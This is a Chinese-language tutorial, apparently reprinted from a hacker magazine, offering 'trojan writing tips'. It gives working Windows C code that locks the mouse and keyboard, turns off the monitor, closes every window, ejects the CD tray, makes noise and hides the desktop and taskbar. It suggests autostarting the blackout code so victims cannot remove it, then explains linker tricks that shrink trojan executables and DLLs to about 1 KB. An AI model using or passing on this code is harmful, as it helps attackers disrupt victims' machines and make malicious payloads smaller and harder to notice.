木马编写小技巧

1.锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n");
RECT rect;
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
::Sleep(15000);
ClipCursor(NULL);//释放
return 0;
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域
2.锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
#include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
WPARAM wParam,
LPARAM lParam )
{
return 1;//返回1可使键盘停止响应
}

main(int argc, char* argv[])
{

SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
printf("/n/n/n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦/n");
::Sleep(15000);
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.
3.关闭显视器
这个也是相当简单的看看代码:
#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
::Sleep(10000);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开

return 0;
}
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿
4.关闭所有窗口
原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理
return 0;
}

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数
{
::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口
return (true);//返回FALSE时EnumWindows结束
}
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵
5.锁定光驱
其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
#include <mmsystem.h>//注意加入头文件
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::mciSendString("set cdaudio door open",NULL,0,NULL);//打开
::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭
return 0;
}
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^
6.制造噪音
大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
#include<windows.h>
main()
{
for(int j=450;j<500;j++)
{
for(int i=1000;i<1110;i++)
{
Beep(i,30);
::Sleep(100);
}
}

}
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。
7.隐藏桌面
其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
HWND disk,mask;
disk=FindWindow("ProgMan",NULL);
mask=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(mask,SW_HIDE);//隐藏任务栏
ShowWindow(disk,SW_HIDE);//隐藏桌面
printf("/n15妙后会自动出现桌面 请等待...../n");
Sleep(15000);
ShowWindow(mask,SW_SHOW);//显示
ShowWindow(disk,SW_SHOW);//显示
return 0;
}

缩小木马大小,

1. 普通Exe 文件

完全可以使用下面方法:
A. link标记: /nodefaultlib
代表: Ignore all default libraries

包括运行时库, 都不用.

当然如果大家要用相关c运行时库的api 怎么办呢?
可以使用相关对应的API, 比如strcmpi, 使用lstrcmpi, 详细请参考下表:

Standard function

Win32 equivalent

mallocHeapAlloc
freeHeapFree
strcpylstrcpy
strcatlstrcat
strncpylstrncpy
strncatlstrncat
strlenlstrlen
strcmplstrcmp
strcmpilstrcmpi
memcpyCopyMemory
memsetFillMemory or ZeroMemory
memmoveMoveMemory
toupperCharUpper
tolowerCharLower
isalphaIsCharAlpha
isalnumIsCharAlphaNumeric
islowerIsCharLower
isupperIsCharUpper
sprintfwsprintf
vsprintfwvsprint

B. 设置连接节大小及其他
加入下面代码到cpp文件就可以.

#ifndef _DEBUG
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")

#pragma comment(linker, "/OPT:REF")
#pragma comment(linker, "/OPT:ICF")
#pragma comment(linker, "/OPT:NOWIN98") // 使用老VC编绎器的512大小为一节

// 合并段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")

// Favour small code
#pragma comment(linker, "/ENTRY:WinMain")
#endif

如果是少量代码的Exe 程序, 最终大小可以在1500 字节以内.
我曾写过一个程序使用了文件读写, 执行进程, 字符运算, 等等一共50多行代码, 最终大小为: 1488字节.


C. 不幸的是可能还是要使用c运行库
那可以使用这个 LIBCTINY.LIB文件, 以尽量减小. 当然这个lib 本身包括不多的运行库api.
LIBCTINY.LIB 文件以及源程序参考:
http://msdn.microsoft.com/msdnmag/issues/01/01/hood/default.aspx

2. 普通Dll 大小问题


因为: __DllMainCRTStartup 或: _DllMainCRTStartup 要调用运行时库
还好, LIBCTINY.LIB 里面已经有相关实现, 可以用LIBCTINY.LIB, 而不用调用运行库了. 这样可以大大减小.

连接设置:

#ifndef _DEBUG

// default lib setting.
#pragma comment(linker, "/defaultlib:kernel32.lib")
#pragma comment(linker, "/defaultlib:LIBCTINY.LIB")
#pragma comment(linker, "/nodefaultlib:libc.lib")
#pragma comment(linker, "/nodefaultlib:libcmt.lib")

// section size
#pragma comment(linker, "/FILEALIGN:16")
#pragma comment(linker, "/ALIGN:16")
#pragma comment(linker, "/OPT:NOWIN98")

// 合并段
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker, "/MERGE:.text=.data")
#pragma comment(linker, "/MERGE:.reloc=.data")

#endif

另外我的测试程序中导出了一个接口
BOOL _stdcall ExpHook( )
{
return 0;
}

最终大小为: 992字节.

3. 复杂Dll 和复杂Exe 大小问题

如果你的程序一定要使用MFC, 那怎么编绎至少也有几十KB了.
但你还是可以用相关PE压缩程序压缩一下的. 至少能压缩到50%.

如果是COM, 建议不要使用MFC, 如果使用ATL, 可以使用压缩程序压缩一下, 基本会在20-40K 大小.

复杂类型的Dll, Exe 肯定是要使用运行库的. 像用了ATL就没有办法不用运行库了.

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